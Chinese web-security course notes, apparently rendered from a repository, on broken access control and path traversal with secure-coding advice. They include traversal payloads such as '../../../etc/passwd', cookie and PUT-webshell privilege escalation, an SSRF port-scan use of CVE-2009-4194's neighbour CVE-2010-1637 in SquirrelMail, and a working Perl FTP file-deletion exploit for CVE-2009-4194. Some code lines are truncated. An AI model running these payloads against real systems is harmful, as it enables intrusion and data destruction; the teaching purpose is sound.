You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

18 KiB

Web 漏洞挖掘与安全开发

0. 目录

  • 失效的访问控制
    • 失效的访问控制
    • 路径穿越
    • 敏感数据泄露
    • 权限不合理
    • CSRF
  • 加密失败
    • 忘记加盐
    • 弱随机数
    • 密码算法问题
    • 失效的证书信任链
    • 弱编码
    • 加密失败
  • 注入
    • 注入
    • 失效的输入监测
    • 命令注入
    • XSS
    • 资源注入
  • 不安全的设计
    • 用户账户安全
    • 报错信息
    • 不安全的设计
  • 安全配置错误
    • 安全配置错误
    • Session与Cookie
    • HTTP Header
  • 其他安全风险
    • SSRF
    • 软件和数据完整性
    • 认证和授权
    • 第三方组件

1. 失效的访问控制

1.1 失效的访问控制:攻击者是怎么获取到其他用户信息的?

  • Curiosity killed the cat.

  • 访问控制: 访问控制是一种策略,在这种策略的控制下,用户的操作不能逾越预设好的权限边界。

  • 访问控制一旦失效通常会导致未认证信息泄露、内部数据篡改、数据删除和越权操作等后果。

  • 访问控制失效型问题通常有以下几种类型:

    • 系统在实现过程中违背了 “最小权限原则” 或 “默认拒绝原则”
    • 通过修改 URL 地址、内部程序状态、HTML 页面,或者使用 Cyber 工具修改 API 请求的方式绕过访问控制
    • 通过提供唯一 ID 的方式预览或者修改其他账户信息及数据;
    • 未经过访问控制地通过 POST、PUT 和 DELETE 方法访问 API
    • 通常意义上的提权
    • 元数据操纵,比如重放或者修改 JWTJSON Web Token访问控制令牌或者通过操纵 Cookie 的方式进行提权
    • CORS 误配置,可以导致来自未认证源的 API 访问
  • 简单攻击场景

  • 1-

    • 这个应用在 SQL 调用中直接使用了未经验证的数据,并利用该数据进行信息查询:
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
  • 在浏览器地址栏中修改 acct 参数,即可对 SQL 语句进行操纵,而在未经验证的情况下,该攻击者可以访问到其他账户的信息。
https://example.com/app/accountInfo?acct=notmyacct
  • 2-
  • 一个攻击者可以很轻松地修改 URL 地址,尝试去访问他的目标链接,比如这里攻击者试图通过 URL 地址修改直接访问 admin 页面:
https://example.com/app/getappInfo
https://example.com/app/admin_getappInfo 
  • 如果攻击者成功访问了第二个链接,那么说明系统在权限设计和访问控制上就是存在问题

  • 3-

  • 由于实现过程中未对用户访问参数设置边界,导致了很多越权问题的发生:

 https://example.com/order/?order_id=2021102617429999
  • 攻击者可以尝试修改上述 API 接口中的 order_id 参数,使其在程序接口上的输入合法,但是对于用户而言却是越权行为

  • 4-

  • HTTP PUT 方法最早目的用于文件管理操作,可以对网站服务器中的文件实现更改删除的更新操作,该方法往往可以导致各种文件上传漏洞,造成严重的网站攻击事件:

put /root/Desktop/shell.php
  • 上述代码在支持 PUT 方法的环境中,上传 Webshell 进行提权;在实际运用中,若必须启用该方法,则需要对该方法涉及文件资源做好严格的访问权限控制。

  • 5-

  • Web 应用将身份认证结果直接存储在 Cookie 中,并未施加额外的保护措施:

Cookie: role=user --> Cookie: role=admin
  • 通过在 Web 前端拦截 Cookie并进行 Cookie 内容修改即可提权

  • 6-

  • 有些开发者为了方便,直接在 Access-Control-Allow-Origin 中反射请求的 Origin 值:

add_header "Access-Control-Allow-Origin" $http_origin;
add_header "Access-Control-Allow-Credentials" "true";
  • 这是一个错误的 Nginx 配置示例,这样的配置意味着信任任何网站,攻击者网站可以直接跨域读取其资源内容,窃取隐私数据

  • 案例实战

  • 1- 意外的代理访问

  • 如果一个攻击者不能直接访问目标,但是一个应用可以,这时攻击者可以发送请求到应用,再让应用转发请求到最终目标。这种情况下,攻击请求看起来像 是来自应用的访问,而非真实攻击者。这种攻击的效果很直观,可以直接绕过访问控制(如防火墙)或者隐蔽恶意请求源信息。

  • 在什么情况下这种功能会变成一种漏洞:

    • 应用本身的权限和用户可以操纵的输入流组件所属的权限不同;(条件 A
    • 攻击者并不能够直接发送请求到最终目标资产;(条件 B
    • 攻击者能够创建一个可以被转发的请求,这个请求可能:
      • 指向了未授权访问的域名、端口号、IP 以及服务;(条件 C
      • 指向了被授权访问的服务,但是请求内部包含了未授权的指令、资源等。(条件 D
    • 用简单的公式来描述的话,就是只有在“A && B && ( C || D )”的情况下,消息转发或者代理功能才会成为一种安全风险或者安全漏洞。
  • CVE-2010-1637 漏洞

    • 这个漏洞会影响,SquirrelMail 1.4.20 以及更早的版本,漏洞主要的发生点是 Mail Fetch 组件,由于该组件是 SquirrelMail 的默认组件,因此该漏洞影响力还是很大的
    • mail_fetch 是在 SquirrelMail 1.4.20 版本的一个默认组件:
  hunter@HunterdeiMac > ~/Downloads/squirrelmail-1.4.20/plugins > tree mail_fetc
  mail_fetch
  ├── README
  ├── class.POP3.php
  ├── fetch.php
  ├── functions.php
  ├── index.php
  ├── options.php
  └── setup.php
  
  0 directories, 7 files
  • mail_fetch 的主要功能是通过使用 fsockopen() 这个 PHP 函数来模拟 POP3 协议,并且仅支持了 POST 方式的认证,并没有对 IP 以及端口号进行检查:
...
if (!isset($port) || !$port) {$port = 110;}
    if(!empty($this->MAILSERVER))
    $server = $this->MAILSERVER;

    if(empty($server)){
        $this->ERROR = "POP3 connect: " . _("No server specified");
        unset($this->FP);
        return false;
    }
    //加的注释
    // 此处缺乏对于服务器IP及端口号的检查
    $fp = @fsockopen("$server", $port, $errno, $errstr);

    if(!$fp) {
        $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]";
        unset($this->FP);
        return false;
    }
... 

  • 可以发现该代码段符合“A && B && ( C || D )”的漏洞存在条件,该处应该存在失效的访问控制

  • 将 SquirrelMail 变成 Nmap 扫描器

    • 服务端先返回消息的 Service比如 SSH 这种,通过对 TCP 服务的 Banner 信息抓取 可以了解目标资产提供的 Service
    • 客户端先发送消息的 Service比如 HTTP 这种POP3 对象在建立完 TCP 三次握手之后会进入阻塞状态,通过 fgets() 函数设置硬编码超时时间,可以判断目标端口是否开放
    • 由于仅仅支持 POST 方式认证,因此请求是以账户为前置条件去发送的,所以 Cookie 也是需要的
  • 那么到现在为止,我们的攻击示意图

./squirrel-nmap [Target] [IP] [TCP_PORT] [Cookie]
- Target suqiremail的URL地址 如http://target.com/sqm/
- IP 待扫描的IP地址
- TCP_PORT 尝试探测的TCP端口号
- Cookie 经过认证的Cookie
  • 通过简单的实现,我们来看看实际的战斗威力如何:
./squirre-nmap "http://target.com/squirrelmail-1.4/" 192.168.1.4 22 "key=dTPc0"
Fetching from 192.168.1.4:22
Oops, POP3 connect: Error [SSH-2.0-OpenSSH_5.1p1 Debian-3]
  • 可以看到能够成功地对内网 IP 进行 Service 进行探测

  • 安全建设方案

    • 访问控制是授权或拒绝特定用户请求的过程。这个过程只有在应用开发的初始阶段就经过良好的设计,才能避免后续问题的发生。
  • 优先开始设计访问控制体系

    • 访问控制不仅是应用安全设计的一项主要事务,而且应当被设置在非常优先的位置,因为往往访问控制的设计在起步阶段是相对简单的,但是会很快随着功能点的增多快速复杂 化。所以,如果你考虑使用成熟的软件框架来完成访问控制,一定要确保其能够满足你未来的应用定制化需求
    • 对用户的访问授权进行设计, 控制对外暴露的接口, 控制内网直接交互的接口
  • 强制所有请求经过访问控制检查

    • 开发一个访问控制检查层Layer然后确保所有请求都在某种程度上经过这个检查层。以 Java 的 filter 为例,许多自动化的请求处理机制都是能够帮助我们实现这种需求的技术
  • 默认拒绝

    • 这是非常简单但是有效的策略,所谓默认拒绝是指,只要一个请求没有被指明是被允许的,那么它就是被拒绝的。
  • 不要硬编码角色

    • 很多应用框架默认使用用户角色来进行访问控制,以下的代码形态是很常见的:
if (user.hasRole("admin") || user.hasRole("Manager")) {
  deleteAccount();
}
  • 但是你要对这种 Role-Based 编码模式格外留意,因为它可能会带来以下几种风险:
    • 由于这种编码自身的特性非常脆弱,很容易出现检查错误或者检查缺失等情况
    • 由于这种编码模型对于多租户产品非常不友好,很容易出现用户角色一致但是权限不一致的情况;
    • Role-Based 编码模型无法适配包括以数据为核心的以及横向访问控制
    • 当项目代码量攀升并且伴随着很多访问权限控制的情况出现时,访问控制策略的审计和验证是非常困难的
  • 因此这里我更推荐你使用这种编码方式:
if (user.hasAccess("DELETE_ACCOUNT")) {
    deleteAccount();
}
  • 以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。

  • 记录所有的访问控制类事件

    • 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。

1.2 路径穿越你的Web应用系统成了攻击者的资源管理器

  • 路径穿越

    • 那么什么是路径穿越呢?简单来说,你所构建的系统中有一个功能组件使用外部输入来构建文件名,而这个文件名会用来定位一个在受限目录的文件,如果文件名中既包含一些特 殊元素,又没有进行合理的过滤处理,就会导致路径被解析到受限文件夹之外的目录。
  • 几种典型的攻击场景:

  • 1-

    • 这里我们来看一种典型的社交网络应用代码,每个用户的配置文件都被存储在单独的文件中,所有文件被集中到一个目录里:
my $dataPath = "/users/example/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

// 并没有对用户传入的username参数进行验证
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath")
print "<ul>\n";

while(<$fh>) {
  print "<li>$_</li>\n";
}
print "</ul>\n";
  • 当用户尝试去访问自己的配置文件的时候,会组成如下路径:
/users/example/prfiles/hunter
  • 但是这里要注意的是上述代码并没有对用户传入的参数做验证,因此攻击者可以提供如下参数:
../../../etc/passwd
  • 通过拼接,攻击者将会得到一个完整的路径:
/users/example/profiles/../../../etc/passwd ==> /etc/passwd
  • 通过这条路径,攻击者就可以成功访问到 Linux 系统的 password 文件。

  • 2-

  • 下面这个代码在编写过程中考虑到输入的不安全性,采用了黑名单方式,过滤掉了输入中包含的../字符。

my $username = GetUntrustedInput();
// 黑名单方式过滤
// 对username的过滤不严格
$username = ~ s/\.\.\///;
my $filename = "/home/user/" . $username;
ReadAndSendFile($filename);
  • 但是值得注意的是,过滤代码中并没有使用/g这个全局匹配符因此仅仅过滤掉了参数中出现的第一个../字符:
../../../etc/passwd => /home/user/../../etc/passwd
  • 所以攻击者仍然可以通过多层拼接来实现攻击

  • 3-

    • 如下代码也在编写中考虑到输入的不安全性,它采用了白名单方式,限制了路径:
String path = getInputPath();
// 白名单方式过滤
// 对path的限制不够严格
if (path.startsWith("/safe_dir/")){
  File f = new File(path);
  f.delete()                                                                                                                                                                                                                                                                  f.delete()
}
  • 但是攻击者依然可以通过提供如下参数进行绕过:
/safe_dir/../etc/passwd
  • 4-
    • 如下代码通过在前端上传文件自动获取属性,凭借这样的方式限制用户输入:
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
  • 如下 Java Servlet 代码通过 doPost 方法接受请求,从 HTTP Request Header 中解析文件名,然后从 Request 中读取内容后再写入本地 upload 目录
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse resp
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String contentType = request.getContentType();
    // the starting position of the boundary header
    int ind = contentType.indexOf("boundary=");
    String boundary = contentType.substring(ind+9);
    String pLine = new String();
    String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constan
    // verify that content type is multipart form data
    if (contentType != null && contentType.indexOf("multipart/form-data")
    // extract the filename from the Http header
    BufferedReader br = new BufferedReader(new InputStreamReader(reque
...
  pLine = br.readLine();
  String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.l
...
// output the file to the local upload directory
        try {
// 攻击者可以修改Request中的filename进行攻击
    BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLo
    for (String line; (line=br.readLine())!=null; ) {
      if (line.indexOf(boundary) == -1) {
        bw.write(line);
        bw.newLine();
        bw.flush();
      }
    } //end of for loop
    bw.close();
  } catch (IOException ex) {
...
  }
        // output successful upload response HTML page
}
// output unsuccessful upload response HTML page
        else
        {...}
        }.
        ..
        }
  • 上述代码一方面没有对上传的文件类型进行检查(这节课我们不探讨这个安全问题),另一方面没有检查 filename 就直接进行了拼接,因此攻击者只需要通过 Burpsuite、ZAP 等 Proxy 应用对 Request 进行拦截和修改 filename 属性即可利用路径穿越漏洞。

  • 案例实战

    • CVE-2009-4194
    • 该漏洞是一个目录穿越漏洞,影响的软件版本是 Golden FTP Server 4.30 Free 以及Professional 版本、4.50 版本(未验证),允许攻击者通过 DELE 命令删除任意文件。
  • 启动 MiTuan 中的 CVE-2009-4194 靶机,这是一个 Windows 7 系统,内置了 Golden FTP Server 4.30 版本,并且已经预先设置好了 FTP 共享路径:

C:\Users\sty\Desktop
  • 接下来构建我们的攻击程序,为了方便我们采用 Perl 语言。如果你使用的是 Mac 电脑,那么你可以无需配置环境,直接运行我们编写好的攻击程序体验效果:
use strict;
use Net::FTP
print "1";
my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@;
$ftp->login("anonymous", "") || die $ftp->message;
$ftp->cwd("/Desktop/") || die $ftp->message;
# This deletes the file C:\Users\sty\test.txt
$ftp->delete("../test.txt");
$ftp->quit;
$ftp = undef;
  • 通过上述的代码我们可以看到C:\Users\sty\test.txt文件已经被删除了我们成功穿越了 FTP Server 的限制,实现了了任意文件的删除!

  • 防御方案

    • 在编码实现阶段:
      • 假设所有的输入都是恶意的,使用“只接受已知的善意的”输入检查策略,也就是使用一些定义清晰且严格的参数格式;
      • 输入都应该被解码为程序内部的处理格式,并且确保在应用系统没有被二次解码,防止攻击者通过编码或者二次编码进行绕过;
      • 如果可能,为用户提供选项或者通过应用系统内部 ID 映射的方式进行对象访问,例如 ID 1 对应“info.txt”
      • 确保 Error Message 只包含最小必要信息,避免过于详细的信息展示,防止攻击者因此获取系统相关信息。
    • 在架构设计阶段:
      • 确保所有客户端发生的安全检查,都在服务端完成第二次检查,这样做的目的是防止攻击者在客户端进行安全检查绕过;
      • 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。
    • 在防御建设阶段:
      • 使用可以防御这种类型攻击的应用层防火墙,在某些特定情况下(比如应用系统漏洞无法修复)非常有效;
      • 使用最小权限运行开发完毕的应用系统,如果可能,创建独立的受限账户用于应用系统运行;
      • 使用沙箱环境运行开发完毕的应用系统,做好进程和系统之间的边界隔离。